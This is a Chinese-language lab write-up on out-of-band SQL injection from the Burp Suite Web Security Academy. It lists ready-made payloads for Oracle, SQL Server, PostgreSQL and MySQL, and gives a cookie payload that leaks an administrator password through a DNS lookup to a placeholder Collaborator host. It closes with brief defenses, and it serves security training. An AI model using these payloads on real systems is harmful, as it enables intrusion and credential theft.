「Burpsuite練兵場」SQL注入之帶外通信

SQL注入帶外通信

OOB（Out-of-Band）帶外通信注入也是一種挺常見的注入手法，與之前的帶內通信相比（發送請求，返回結果都在同一條信道內），需要借助一個額外的服務器用於獲取帶外信道數據。具體操作即為通過注入SQL語句，構造請求到服務器中，以此將我們所需查詢的數據帶出來。

那什么時候我們需要使用帶外注入技術呢？當Web應用不產生任何錯誤響應，並且任何響應報文與SQL語句不存在邏輯關聯，基於時間延遲的盲注未產生明顯時延，此時就只能使用帶外通信技術了，同時此種方式也可以節省使用布爾盲注或時延盲注所要消耗的大量時間。

根據信道協議不同，一般可以分為這幾種：

• DNS信道
• e-mail信道
• HTTP信道
• ICMP信道

一般我們需要根據實際目標的網絡部署情況選擇通信信道，較為常見的為DNS信道，因為很少有網絡環境會對DNS報文進行嚴格限制。雖然OOB注入具有許多優勢，但由於不同數據庫內部查詢語句及權限分配的復雜和差異化，以及前后版本的不兼容性，我們在手工注入時往往會遇到許多問題，因此也非常考驗對數據庫的操作技巧。

實驗內容

在實驗開始前介紹一下各種OOB注入技巧語句

Oracle

select utl_inaddr.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') from dual

select utl_http.request('http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net') from dual;

select DBMS_LDAP.INIT('YOUR-SUBDOMAIN-HERE.burpcollaborator.net',80) from dual;

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [zxsq-anti-bbcode- <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual  --利用XXE漏洞，可能被修復

Microsoft

exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' -- 其它可能有用的存儲過程 xp_getfiledetails xp_fileexist xp_dirtree

Microsoft中的帶外通信主要是利用了其存儲過程間接產生DNS請求，這依賴於Windows對網絡UNC（Universal Naming Covention，通用命名約定的內在支持）。

存儲過程：存儲過程是指為了完成特定的功能由一條或多條sql語句組成的集合，這些語句集合可以被多次調用，類似於批處理文件，通常指定一個名稱進行存儲，經系統進行編譯后存儲到數據庫的服務器中，作為數據庫的對象，形成一個處理單元。

存儲過程又分為三類

1、系統存儲過程：該類存儲過程通常被存放到master數據庫中，存儲過程名稱通常以“sp_”為前綴，但是在其他數據庫中均可調用系統存儲過程，調用時在存儲過程名稱前面不必添加數據庫的限定名；

2、用戶自定義存儲過程：略；

3、擴展存儲過程：通常以“xp_”為前綴標識，在sql server系統外通過執行動態鏈接庫，即DLL文件，來實現的功能。

存儲過程相關介紹：

http://m.zhizuobiao.com/sql/sql-18071800218/

還有一個問題就是有些sql注入文章中使用了EXEC master.dbo.xp_cmdshell，但有些又是EXEC master..xp_cmdshell。

EXEC master.dbo.xp_cmdshell

master：指代database

dbo：指代schema

xp_cmdshell：指代存儲過程

EXEC master..xp_cmdshell

這一語句相當於省略了schema參數，如果一個database中有多個schema則不建議使用。

更多參考：

https://stackoverflow.com/questions/5216085/what-does-exec-master-do/5216108#5216108

另外，在這篇文章中可以看到不同版本的一些元數據檢索語句也已經發生了變化：

https://www.mssqltips.com/sqlservertip/1037/system-information-in-sql-server-2000-vs-sql-server-2005/

可以發現進行帶外通信注入已經變得非常復雜了。

PostgreSQL

copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);   --需要安裝contrib/dblink，且為DBA權限

MySQL

LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')

SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

實驗一：帶外通信SQL盲注

實驗要求：通過SQL注入產生一條DNS查詢到Burp Collaborator服務器中。

實驗提示：此應用程序跟蹤cookie內容以用於分析，並在后台執行的sql語句中包含了該cookie，SQL查詢是異步進行的，因此不會對響應造成影響。

 這里提到了對Burp Collaborator模塊的使用，之前可能大家沒有接觸過，這里做一個簡單介紹：

Burp Collaborator這個模塊功能其實很好理解，分為兩塊，一塊是Sever端，一塊是Client端。其作用就是將一些帶外通信功能模塊集成到了BurpSuite中，Server即為在帶外通信中用於接受帶外數據的服務器，Client用於顯示Server端收到的數據。

Sever端，位於Project Option->Misc選項中，這里我們配置使用的是Burp提供的公共服務器。

 

點擊Run health check可以進行測試。

 

Client端位置

 

點開來后，點擊Copy to clipboard就可以復制我們的Server地址進行使用了。

同時，它也會每隔一段時間反饋Server端收到的數據，或者點擊Poll now立即查看。

下面進入實驗，配置Burpsuite代理。在cookie處使用如下payload，注意將x.burpcollaborator.net替換為自己的Server端地址。

x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

發送請求即可完成實驗，注意URL編碼。

 

實驗二：利用帶外通信獲取數據

實驗要求：通過sql注入獲取administrator賬戶密碼並成功登錄。

實驗提示：此應用程序跟蹤cookie內容以用於分析，並在后台執行的sql語句中包含了該cookie，SQL查詢是異步進行的，因此不會對響應造成影響。存在數據表users，內含username和password列。

 

與上一實驗一樣，我們需要利用帶外通信，同時將數據攜帶出來。

使用的payload如下，注意將YOUR-SUBDOMAIN-HERE.burpcollaborator.net替換為自己的Server端地址。

x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

此payload將產生一個DNS請求，地址為SELECT password FROM users WHERE username='administrator'所產生的結果連接.YOUR-SUBDOMAIN-HERE.burpcollaborator.net。

 

發送請求后，在Client端就可以看到請求信息，前面這一段字符即為administrator賬戶密碼。

 

使用賬號密碼成功登錄完成實驗。

總結

OOB注入基本已經算是研究領域了，近年來也沒有特別新的技巧出現，有時也會需要借助一些工具。另外在實際的滲透測試過程中要注意信息的搜集，判斷好后台數據庫的類型有助於后面OOB注入相關技巧的展開。

Burpsuite學院關於SQL注入的系列實驗到這里就結束了，總的來說設計還是非常好的，能夠深入淺出的帶我們了解SQL注入的各種不同技巧，也基本涵蓋了SQL注入的各個種類，想要了解SQL注入具體流程的小伙伴可以自己動手，多多練習以加深理解。

關於如何防范SQL注入：

• 使用參數化查詢
• 使用低權限賬戶
• 關閉數據庫一些無用的默認功能
• 定時維護升級打補丁

以下是一些SQL注入payload合集：

http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

今天的文章分享，小伙伴們看懂了嗎？